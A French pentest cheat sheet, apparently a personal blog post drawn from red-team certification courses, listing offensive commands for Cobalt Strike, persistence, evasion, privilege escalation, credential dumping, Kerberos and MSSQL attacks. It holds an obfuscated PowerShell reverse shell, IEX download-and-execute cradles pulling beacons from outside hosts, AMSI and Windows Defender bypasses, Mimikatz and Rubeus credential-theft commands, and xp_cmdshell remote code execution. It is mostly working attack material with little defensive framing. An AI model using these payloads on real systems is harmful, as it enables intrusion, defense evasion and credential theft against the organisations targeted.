Pentest CheatSheet

Hello,
Je partage aujourd’hui une petite cheatsheet que j’ai faite au fil du temps et des cours des différentes certifications que j’ai obtenues. J’ajouterai du contenu avec le temps.

Sommaire

Cobalt Strike

Reconnaissance Externe

Persistance

Evasion

Privesc

Credential

Kerberos

MS SQL

DPAPI

Trust Domain

Cobalt Strike

Pour lancer le TeamServer :

1
raphgui@vps ~/cobalstrike > sudo ./teamserver <ip> RaphguiCRTO!!

Mettre le TeamServer en tant que service :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
raphgui@vps ~/cobalstrike > sudo vim /etc/systemd/system/teamserver.service 

Description=Cobalt Strike Team Server After=network.target StartLimitIntervalSec=0

[Service]

Type=simple

Restart=always

RestartSec=1

User=root

WorkingDirectory=/home/raphgui/cobaltstrike ExecStart=/home/raphgui/cobaltstrike/teamserver <ip> RaphguiCRTO!

WantedBy=multi-user.target

Relancer le system pour actualiser les Services :

1
2
3
4
raphgui@vps ~/cobalstrike > sudo systemctl daemon-reload 
raphgui@vps ~/cobalstrike > sudo systemctl status teamserver.service ● teamserver.service - Cobalt Strike Team Server

Loaded: loaded (/etc/systemd/system/teamserver.service; disabled; vendor preset: enabled) Active: inactive (dead)

On va lancer le service “TeamServer”, puis regarder si il est bien actif

1
2
3
4
5
6
7
8
9
10
11
12

raphgui@vps:/home/raphgui/cobaltstrike > sudo systemctl start teamserver.service

raphgui@vps:/home/raphgui/cobaltstrike > sudo systemctl status teamserver.service ● teamserver.ser vice - Cobalt Strike Team Server Loaded: loaded (/etc/s ystemd/system/teamserver.service; disabled; vendor preset: enabled) Active: active (running) since Mo

n 2023-03-06 19:15:40 UTC; 9s ago Main PID: 86670 (teamserver) Tasks: 19 (limit: 2266) Memory: 69.6

M CPU: 1.650s CGroup: /system.slice/teamserver.service ├─8 6670 /bin/bash /home/raphgui/cobaltstrike/teamserver 54.36.102.43 "RaphguiCRTO!" └─86671 ./Team ServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.ne> Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [] Loading Windows error codes. Mar 06 19:1 5:41 vps-24eb94c1 teamserver[86671]: [] Windows error codes loaded Mar 06 19:15:41 vps-24e b94c1 teamserver[86671]: [] Loading beacons Mar 06 19:15:41 vps-24eb94c1 teamse rver[86671]: [] Loaded 4 beacons Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [+] Team server is up on 0.0.0.0:50050 Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [\*] SHA256

hash of SSL cert is: 56a06a233bd30f693de25ef12cc19e8b2c92d3e>Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [!] Web Server will u

se default SSL certificate (you don't want this). Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: Use a valid SSL certific ate with Cobalt Strike: https://www.cob>Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [+] Listener: Backdoors started! Mar 06 19:15:42 vps-24eb94c1 teamserver[86671]: [+] Listener: cat_lin started!

Désormais plus qu’a mettre se service par défault :

1
2
3
raphgui@vps/home/raphgui/cobaltstrike > sudo systemctl enable teamserver.service !

Created symlink /etc/systemd/system/multi-user.target.wants/teamserver.service → /etc/systemd/system/teamserver.service

Les flèches

  • Bleu = TCP
  • Orange = SMB
  • Purple or Red = Disconnected

Commande

Lister les processus en cours :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
beacon> ps

[\*] This Beacon PID: YELLOW 10732

` `PID PPID Name Arch Session User

` `--- ---- ---- ---- ------- ----

` `0 0 [System Process]

` `4 0 System x64 0

` `148 4 Registry x64 0 NT AUTHORITY\SYSTEM

` `496 4 smss.exe x64 0 NT AUTHORITY\SYSTEM

` `1872 4 Memory Compression x64 0 NT AUTHORITY\SYSTEM

` `664 584 csrss.exe x64 0 NT AUTHORITY\SYSTEM

` `760 584 wininit.exe x64 0 NT AUTHORITY\SYSTEM

` `544 760 fontdrvhost.exe x64 0 Font Driver Host\UMFD-0

` `832 760 services.exe x64 0 NT AUTHORITY\SYSTEM

` `552 832 svchost.exe x64 0 NT AUTHORITY\SYSTEM

` `988 552 dllhost.exe x86 1 NEXUSLITE-PC\Administrator

` `2080 552 WmiPrvSE.exe x64 0 NT AUTHORITY\NETWORK SERVICE 3056 552 WmiPrvSE.exe x64 0 NT AUTHORITY\SYSTEM

` `4256 552 RuntimeBroker.exe x64 1 NEXUSLITE-PC\Administrator spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.017.png)

` `4616 552 dllhost.exe x64 1 NEXUSLITE-PC\Administrator

` `5456 552 StartMenuExperienceHost.exe x64 1 NEXUSLITE-PC\Administrator 5464 552 ApplicationFrameHost.exe x64 1 NEXUSLITE-PC\Administrator

` `5484 552 SystemSettings.exe x64 1 NEXUSLITE-PC\Administrator

` `5616 552 RuntimeBroker.exe x64 1 NEXUSLITE-PC\Administrator

` `5744 552 SearchApp.exe x64 1 NEXUSLITE-PC\Administrator

` `6000 552 RuntimeBroker.exe x64 1 NEXUSLITE-PC\Administrator

` `6564 552 TextInputHost.exe x64 1 NEXUSLITE-PC\Administrator

` `6988 552 MoUsoCoreWorker.exe x64 0 NT AUTHORITY\SYSTEM

` `7712 552 explorer.exe x64 1 NEXUSLITE-PC\Administrator

` `10864 552 UserOOBEBroker.exe x64 1 NEXUSLITE-PC\Administrator

` `1052 832 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE 1136 832 vmnetdhcp.exe x86 0 NT AUTHORITY\SYSTEM

` `1204 832 svchost.exe x64 0 NT AUTHORITY\SYSTEM

` `4104 1204 taskhostw.exe x64 1 NEXUSLITE-PC\Administrator

` `4408 1204 sihost.exe x64 1 NEXUSLITE-PC\Administrator

` `4500 1204 taskhostw.exe x64 1 NEXUSLITE-PC\Administrator

` `6864 1204 WDDiscoveryService.exe x86 1 NEXUSLITE-PC\Administrator

` `10172 1204 WD Device Agent.exe x86 1 NEXUSLITE-PC\Administrator

` `1228 832 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE

Enumérer la machine (AV, OS info …) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
beacon> execute-assembly D:\Tools\Enumerate Machine\Seatbelt\Seatbelt.exe -group=system spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.018.png)====== AntiVirus ====== 

` `Engine : Windows Defender

` `ProductEXE : windowsdefender://

` `ReportingEXE : %ProgramFiles%\Windows Defender\MsMpeng.exe

====== AppLocker ======

` `[\*] AppIDSvc service is Stopped

` `[\*] Applocker is not running because the AppIDSvc is not running [\*] AppLocker not configured

====== AutoRuns ======

` `HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run :

` `"C:\Program Files (x86)\VMware\VMware Workstation\vmware-tray.exe"

` `C:\Program Files (x86)\Western Digital\Discovery\Current\WD Discovery.exe --autolaunch

====== DotNet ======

` `Installed CLR Versions 2.0.50727

` `4.0.30319

` `Installed .NET Versions 3.5.30729.4926

` `4.8.09037

` `Anti-Malware Scan Interface (AMSI)

` `OS supports AMSI : True

.NET version support AMSI : True

` `[!] The highest .NET version is enrolled in AMSI!

` `[\*] You can invoke .NET version 3.5 to bypass AMSI.

====== OSInfo ======

` `Hostname : NexusLite-PC

` `Domain Name :

` `Username : NEXUSLITE-PC\Administrator

` `ProductName : Windows 10 Pro

` `EditionID : Professional

` `ReleaseId : 2009

` `Build : 19045.2130

` `BuildBranch : vb_release

` `CurrentMajorVersionNumber : 10

` `CurrentVersion : 6.3

` `Architecture : AMD64

` `ProcessorCount : 12

` `IsVirtualMachine : False

` `BootTimeUtc (approx) : 3/7/2023 6:01:57 PM (Total uptime: 00:00:29:17)

` `HighIntegrity : True

` `IsLocalAdmin : True

` `CurrentTimeUtc : 3/7/2023 6:31:14 PM (Local time: 3/7/2023 7:31:14 PM) TimeZone : Romance Standard Time

` `TimeZoneOffset : 01:00:00

` `InputLanguage : French spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.019.png)

` `InstalledInputLanguages : French, US

` `MachineGuid : ee977fff-e274-44b0-8572-e3ac21d97ee4

KeyLogger

1
beacon> keylogger

Steal Token Process

1
beacon> steal_token <pid>

Créer un token

1
beacon> make_token DOMAIN\user Password![ref1]

Retirer le token actuel :

1
beacon> rev2self![ref2]

Privesc CS :

1
2
beacon> elevate <choice-privesc> <listeners> 
beacon> elevate svc-exe https

Duplicate Beacon :

1
beacon> spawn x64 https

Malleable Profile :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
set sample_name "Raphgui Profile";
set sleeptime "2";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36";
set host_stage "false";


http-get {

set uri "/";

client {

header "Accept" "*/*";
header "Content-Type" "application/x-www-form-urlencoded";
header "Content-Transfer-Encoding" "base64";
header "Connection" "Keep-Alive";

metadata {
netbiosu;
uri-append;
}
}

server {

header "Server" "nginx/2.2.5";
header "Content-Type" "text/html";
header "X-Powered-By" "PHP/8.0";
header "Vary" "Accept-Encoding";

output {
base64;
print;
}
}
}


http-post {

set uri "/fa34ec71c20ec011297589715c145faa058f76c6";

client {

header "Accept" "*/*";
header "Content-Type" "application/x-www-form-urlencoded";
header "Content-Transfer-Encoding" "base64";
header "Connection" "Keep-Alive";

id {
parameter "id";
}

output {
base64;
print;
}
}

server {

header "Server" "nginx/1.2.5";
header "Content-Type" "text/html";
header "X-Powered-By" "PHP/8.0";
header "Vary" "Accept-Encoding";

output {
base64;
print;
}
}
}

stage {
set userwx "false";
set stomppe "true";
set obfuscate "true";
set sleep_mask "true";
set name "explorer.dll";
set cleanup "true";

# Values captured using peclone against a Windows 10 version of explorer.exe
set checksum "0";
set compile_time "11 Nov 2016 04:08:32";
set entry_point "650688";
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90";

# transform the x64 rDLL stage
transform-x64 {
strrep "This program cannot be run in DOS mode" "";
strrep "beacon.x64.dll" "not-beacon.dll";
strrep "ReflectiveLoader" "LoadData";
}

}

post-ex {
set amsi_disable "true";

set spawnto_x86 "%windir%\\syswow64\\notepad.exe";
set spawnto_x64 "%windir%\\sysnative\\notepad.exe";

set pipename "totally_not_beacon, legitPipe_##";
}

Compiler l’Arsenal Kit :

1
./build.sh pipe VirtualAlloc 277492 5 true true /mnt/c/Tools/cobaltstrike/artifacts

Load Arsenal Kit :

Cobalt Strike

Load Script

path/to/script/artefact.cnas

Ressource Kit :

1
./build.sh /mnt/c/Tools/cobaltstrike/resources

Reconnaissance Externe

DNS

Pour commencer nous pouvons utiliser ”dig” pour obtenir des informations :

1
2
3
4
raphgui@vps ~> dig saawaru.com                                                                                                        

- <<>> DiG 9.18.1-1ubuntu1.3-Ubuntu <<>> saawaru.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22803 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION:
- EDNS: version: 0, flags:; udp: 65494 ;; QUESTION SECTION: ;saawaru.com. IN A ;; ANSWER SECTION: saawaru.com. 3582 IN A 54.36.102.43

Enumérer les subdomains :

1
raphgui@vps ~> python3 dnscan.py -d saawaru.com -w subdomains-100.txtspose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.031.png)

DNS SPOOFING

DNS spoofing :

1
2
3
4
5
6
7
8
9
10
11
raphgui@vps ~> python3 spoofy.py -d saawaru.com -o stdout spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.032.png)[\*] Domain: saawaru.com 

[\*] Is subdomain: False

[\*] DNS Server: 1.1.1.1

[?] No SPF record found.

[?] No DMARC record found.

[+] Spoofing possible for saawaru.com

NMAP

Pour commencer :

raphgui@vps ~> nmap -p- -T5spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.033.png)

En fonction des ports :

raphgui@vps ~> nmap -p x,x,x,x -sCV -T5spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.034.png)

Vulnérabilité Scanner :

raphgui@vps ~> nmap –script=vuln -T5spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.035.png)

Web Enumération

Utiliser dirsearch :

raphgui@vps ~> python3 dirsearch.py -u https://saawaru.com/spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.036.png)

Selectionner que les extensions désirés :

raphgui@vps ~> python3 dirsearch.py -e php,html,js -u https://saawaru.com/spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.037.png)

Utiliser sa propre wordlist

raphgui@vps ~> python3 dirsearch.py -u https://saawaru.com/ -w /path/to/wordlist![ref3]

PowerView

Afin d’obtenir divergues informations sur l’Active Directory nous pouvons utiliser le module ”powerview” qui permet cela. On comme tout d’abord par un :

1
Import-Module PowerView.ps1

Cela va permettre de charger le module en mémoire. Obtenir des informations concernants le domain :

1
powershell Get-Domainspose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.040.png)

Obtenir des informations concernants le Domain Controller

1
powershell Get-DomainController | select Forest, Name, OSVersion | flspose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.041.png)

Obtenir des informations sur un utilisateur :

1
powershell Get-DomainUser -Identity <user> -Properties DisplayName, MemberOf | fl

Obtenir toutes les machines objets dans l’AD :

1
powershell Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName

Obtenir toutes les OU :

1
powershell Get-DomainOU -Properties Name | sort -Property Name

Obtenir les domaines avec des relations relations d’approbations :

1
powershell Get-DomainTrust

Obtenir tous les utilisateurs d’un groupe :

1
Get-NetGroupMember -GroupName "domain admins"spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.046.png)

ADSearch

Trouver les délegations Unconstrained :

1
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dn![ref3]

Trouver les délégations Constrained :

1
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=\*))" --attributes cn,dnshostname,samaccountname,msds-allow![ref4]

Persistance

L’outil le plus utiliser pour de la persistance est SharPersist. Il propose différentes techniques :

HKCU / HKLM Registres automatiquement éxécuter

  • Taches programmés
    • Dossier de démarrage

Startup

1
execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "..."

Registry AutoRun

On upload un binaire puis on le rename “Updater.exe”

1
execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "..."

Tâche Programmé

1
execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1

Windows Service

On upload un binaire puis on le rename “legit-svc.exe”

1
execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc"

WMI Event

1
powershell-import C:\Tools\PowerLurk.ps1

Crée des events

1
powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\smb_64.exe" -Trigger ProcessStart -ProcessN

Evasion

Evasion de windows defender via IEX (Base64 Unicode). Windows :

1
2
3
PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://saawaru.com/beacon"))'

PS C:\>[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Linux :

raphgui@vps ~> set str ‘IEX ((new-object net.webclient).downloadstring(“http://saawaru.com/beacon“))’ spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.054.png)raphgui@vps ~> echo -en $str | iconv -t UTF-16LE | base64 -w 0

Reverse Shell en PowerShell bypass AV :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
try
{
$spf54f2s5b = New-Object System.Net.Sockets.TCPClient("10.10.14.153","443")
$s2d5s76x3b = $spf54f2s5b.GetStream()
[byte[]]$bytes = 0..65535|%{0}
$xw21vc65c = $eNv:CompUtErNamE
$xw21vc65c = ([text.encoding]::ASCII).GetBytes($xw21vc65c)
$s2d5s76x3b.Write($xw21vc65c,0,$xw21vc65c.Length)
$msd42w3q6 = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ')
$s2d5s76x3b.Write($msd42w3q6,0,$msd42w3q6.Length)
while(($i = $s2d5s76x3b.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$spfd4f2s5b = $EncodedText.GetString($bytes,0, $i)
try
{
$xw21vc65d = (InVoke-EXPreSsIoN -Command $spfd4f2s5b 2>&1 | Out-String )
}
catch
{

}
$mxd42w3q6 = $xw21vc65d + '['+ $eNv:CompUtErNamE +'] PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$mxd42w3q6 = $mxd42w3q6 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($mxd42w3q6)
$s2d5s76x3b.Write($sendbyte,0,$sendbyte.Length)
$s2d5s76x3b.Flush()
}
$spf54f2s5b.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{

}

Désactiver Windows Defender :

1
2
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
PS C:\> Set-MpPreference -MAPSReporting Disable

Encode :

1
2
3
4
5
$commands = 'IEX ((new-object net.webclient).downloadstring("http://wkstn:8080/b"))' spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.057.png)$bytes = [System.Text.Encoding]::Unicode.GetBytes($commands) 

$encodedString = [Convert]::ToBase64String($bytes)

powershell.exe -a -w hidden -enc $encodedString

Bypass AMSI :

1
2
3
4
5
$a = [Ref].Assembly.GetTypes()   spose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.058.png)

ForEach($b in $a) {if ($b.Name -like "\*iUtils") {$c = $b}} $d = $c.GetFields('NonPublic,Static')

ForEach($e in $d) {if ($e.Name -like "\*Failed") {$f = $e}} $f.SetValue($null,$true)

Privesc

L’élévation de privilège est une étape très importante du pentest. Elle a pour but de nous donner un accès avec plus de privilège, et très généralement root.

Type de démarrage :

Automatique - Le service démarre immédiatement au démarrage
Automatique (démarrage différé) - Le service attend un court laps de temps après le démarrage avant de démarrer principalement une option héritée pour aider le bureau à se charger plus rapidement).

  • Manuel - Le service ne démarre que lorsqu’il est spécifiquement demandé.
    • Désactivé - Le service est désactivé et ne fonctionnera pas.

État du service

En cours d’exécution - Le service est en cours d’exécution.

Arrêté - Le service n’est pas en cours d’exécution.

  • StartPending - Le service a été invité à démarrer et exécute sa procédure de démarrage.
    • StopPending - Le service a été invité à s’arrêter et exécute sa procédure d’arrêt.

Unquoted Service Paths

Cette privesc consiste à chercher un service qui a un PATH sans quote :

1
C:\Users\Raphguispose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.064.png)

Ainsi qu’un PATH avec un espace tels que :

1
C:\Program Files\Lwo Help Me\MonService.exe![ref5]

Le deuxième PATH montré est un exemple concret. Lorsque que “MonService.exe” va être lancer. Windows va d’abord faire ”C:\MonService.exe” puis ”C:\Program Files\MonService.exe” et pour finir

”C:\Program Files\Lwo Help Me\MonService.exe”. Si nous pouvons écrire dans un des deux premiers PATH alors notre service / binaire sera exécuté à la place.

Weak Service Permissions

Cette escalade de privilège est assez simple, il faut chercher un service qui nous laisse modifier son PATH :

1
execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices

Une fois qu’on a trouvé notre service :

1
2
powershell-import C:\Tools\Get-ServiceAcl.ps1 
powershell Get-ServiceAcl -Name VulnService2 | select -expand Access

Si il y’a ChangeConfi g cela nous permet de changer le PATH du binaire éxécuter par le service :

1
2
3
run sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe
run sc stop VulnService2
run sc start VulnService2

Nous sommes désormais NT\Authority System.

Weak Service Binary Permissions

Cette fois si la démarche est différente, il s’agit d’un service dont nous avons le droit de renommer.

Si on le renomme puis on upload notre binaire et le nommons comme le service alors notre binaire sera executé.

UAC BYPASS

Très simple :

1
elevate uac-schtasks tcp-local

Credential

Lorsque nous avons des privilèges élevés, il est important de récupéré des credentials. Ça peut être des usernames/password, hash NTLM et Ticket Kerberos.

Nous avons comme outils très utiles pour récuperé des credentials mimikatz. Il est par default déja dans Cobalt Strike lorsque vous avez une beacon.

Mimikatz

Nous allons commencé par un flag essentielle :

1
mimikatz.exe token::elevate

L’option ”token elevate” va faire que mimikatz va impersonate le token choisis (par default NT-AUTHORITY\SYSTEM ).

Nous avons un autre flag :

1
2
mimikatz.exe lsadump::sam
mimikatz.exe lsadump::dcsync /all

Le lsadump va permettre de faire un dump du process ”lsass.exe”.

L’option “sam” va permettre de dump les hashs des comptes étant dans la base de données Security Account Manager.

Elle contient les comptes locaux sur Windows Serveurs.

L’option “dcsync” va permettre de faire un attaque DCsync qui va faire une synchroniser une entrée spécifique.

Pour avoir plus d’information il est possible de faire :

1
mimikatz.exe sekurlsa::logonpasswords

Cela va permettre d’obtenir toutes les possibilités d’authentification d’un compte.

Kerberos

Pass the Key / OverPass the Hash

C’est technique consiste à demander un tgt (pour faire du pass the ticket) avec le Hash NT.

1
Rubeus.exe asktgt /domain:'Domain' /user:'user' /rc4:'NThash' /ptt

Kerberoasting

Pour faire du kerberoasting :

1
.\Rubeus.exe kerberoast /simple /nowrap

Récupérer un user particulier :

1
.\Rubeus.exe kerberoast /user:'name' /simple /nowrap

AS-REPROASTING

Pour faire de l’as-rep roasting :

Permet de voir tous les utilisateurs as-reproastable :

1
.\Rubeus.exe asreproast /simple /nowrap

Récupérer un user particulier :

1
.\Rubeus.exe asreproast /user:'name' /simple /nowrap

Unconstrained Delagation

Ecouter pour voir le TGT :

1
.\Rubeus.exe monitor /interval:10![ref4]

Désormais on peut demander un ticket de service :

1
.\Rubeus.exe asktgs /ticket:<ticket en base64> /service:cifs/'domain' /ptt

Si par contre il n’y a pas de TGT, nous pouvons provoquer une connection en coerçant avec PrinterBug. PrinterBUG PoC :

Regarder si il y’a sur le Domain Controller le fichier Spools

1
ls \\dc\pipe\spoolss

Ensuite utiliser le PoC de Tikfin :

1
.\SpoolSample.exe dc <SPN unconstrained>

Et faire en même temps un Rubeus :

1
.\Rubeus.exe monitor /interval:10

Constrained Delegation

On peut utiliser tgtdeleg qui récupérer via la délégation en tant que le l’user qui le lance :

1
.\Rubeus.exe tgtdeleg /nowrap

Désormais on prend le ticket et on impersonate le compte l’administrator :

1
.\Rubeus.exe s4u /ticket:'ticket' /impersonateuser:administrator /domain:'domain' /msdsspn:cifs/'domain' /dc:'dc.domain' /ptt

Resource Based Constrained Delegation

1 - Créer une machine fake :

1
New-MachineAccount -MachineAccount raphguisvr -Password $(ConvertTo-SecureString 'raphgui123!' -AsPlainText -Force)

2- Récupérer le SID (Sécurity Identifier) :

1
$svrsid = Get-DomainComputer raphguisvr | select -expand objectsidspose.Words.b8a8f815-686d-4082-ae71-ce7001721a24.086.png)

3- Attaque :

1
2
3
4
5
6
7
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($svrsid))"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer -Identity "COMPUTER" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $SDBytes} -Verbose

Désormais nous pouvons impersonate le user choisis :

1
.\Rubeus.exe hash /password:raphgui123! /user:raphguisvr /domain:'DOMAIN')
  • Récupérer le Hash RC4 : { rc4_hmac : xxxxxxxxxxxxx }

Maintenant on peut demander le ticket kerberos de raphguisvr, on va pouvoir impersonate administrator.

1
.\Rubeus.exe s4u /user:raphguisvr$ /rc4:'hash' /impersonateuser:administrator /msdspn:cifs/'domain computer' /ptt

Service for User

Service for user ou plus communément appelé s4u, est une extension du protocole kerberos.

Cette extension est utilisé lors de la delegation constrained. Nous avons deux extensions principales.

Service for user to Proxy (S4u2Proxy):

Il s’agit d’une extension qui va permettre d’obtenir un ticket de service (TS) pour un autre service au nom d’un utilisateur. Service for user to Self (S4u2self):

Il s’agit d’une extension qui va permettre d’obtenir un ticket de service au nom d’un utilisateur.

Désormais en exploitation, nous allons depuis une machine qui a de la délégation constrained request via s4u2self un TS d’un user (Par default : Administrator). Puis avec ce ticket de service nous allons demander au nom de l’utilisateur impersonnate (administrator) demander un ticket de service sur un autre service (Exemple : cifs\dc.domain).

MS SQL

Pour exploiter les bases de données mssql, nous allons tout d’abord commencer par une phase d’énumération. Pour cela on va prendre PowerUPSQL.

Enumération

1
powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1

En suite avec SQLInstanceDomain on va pouvoir chercher tous les SPNs qui commences avec MSSQL :

1
powerpick Get-SQLInstanceDomain

Tester une connection :

1
powerpick Get-SQLConnectionTest

Pour obtenir des informations sur la machine (Version, Domain, Service Account etc..):

1
powerpick Get-SQLServerInfo -Instance "SPN.DOMAIN,1433"

On peut aussi utiliser PowerView :

1
powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1![ref5]

Cela nous permettra d’obtenir les Machines ainsi que les utilisateurs dans le groupe :

1
Get-DomainGroup -Identity \*SQL\* | % { Get-DomainGroupMember -Identity $_.distinguishedname | select groupname, membername }

Usurpation d’un utilisateur

Pour commencer, nous allons faire une requête pour voir si il y’a des utilisateurs qui sont usurpables :

1
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

Grâce à la requête, on peut voir quel utilisateur est usurpable et depuis quel user exemple :

user 25 peut usurper l’user 26

Désormais grâce à cette commande :

1
SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;

Nous allons pouvoir récupérer les id, username, une description et si il est actif. On peut aussi faire :

1
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s SPN.DOMAIN,1433 -m impersonate <user>

La fonction IS_SRVROLEMEMBER permet de savoir si l’utilisateur actuel peut réaliser une action nécessitant les autorisations du rôle serveur.

Si on fait :

1
SELECT IS_SRVROLEMEMBER('sysadmin');

Le retour sera NULL car nous n’avons pas les droits. Pour usurper un utilisateur :

1
EXECUTE AS login = 'DEV\mssql_svc';

Nous allons éxécuter une action en tant que l’utilisateur choisie. Donc si on fait :

1
EXECUTE AS login = 'DEV\mssql_svc'; SELECT IS_SRVROLEMEMBER('sysadmin');

Nous aurons comme retour 1.

Désormais avec ADSearch nous pouvons le faire :

1
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s SPN.DOMAIN,1433 -m whoami -i DEV\mssql_svc

Execution

Désormais que nous avons les privilèges admins sur la mssql, nous pouvons activer XP_CMDSHELL. Cela va nous permettre de passer des commandes dans un command prompt :

1
2
sp_configure 'Show Advanced Options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Il ne nous reste plus qu’a récupéré notre beacon, pour ça reverse port warding :

1
powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

Sur CS :

1
rportfwd 8080 127.0.0.1 80![ref7]

Plus qu’a RCE :

1
xp_cmdshell "powershell -w hidden -c IEX ((new-object net.webclient).downloadstring(''http://10.10.123.102''))"

Pivoting

Nous pouvons regarder une fois que nous avons pwn le server si il est trust avec un server :

1
SELECT srvname, srvproduct, rpcout FROM master..sysservers;

Ensuite on va faire :

1
SELECT * FROM OPENQUERY("SPN.DOMAIN", 'select @@servername');

Nous allons voir si XP_CMDSHELL est activé :

1
SELECT * FROM OPENQUERY("SPN.DOMAIN"", 'SELECT \* FROM sys.configurations WHERE name = ''xp_cmdshell''');

Si nous ne recevons rien c’est qu’il est désactivé, donc nous n’avons plus qu’a l’activer :

1
2
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.cyberbotic.io]

Plus qu’a re reverse port forward, puis RCE :

1
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc <ps_base64>

Privesc

On peut voir si impersonate un user :

1
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges

Plus qu’a privesc avec sweatpotatoes :

1
execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p <xxx>

DPAPI

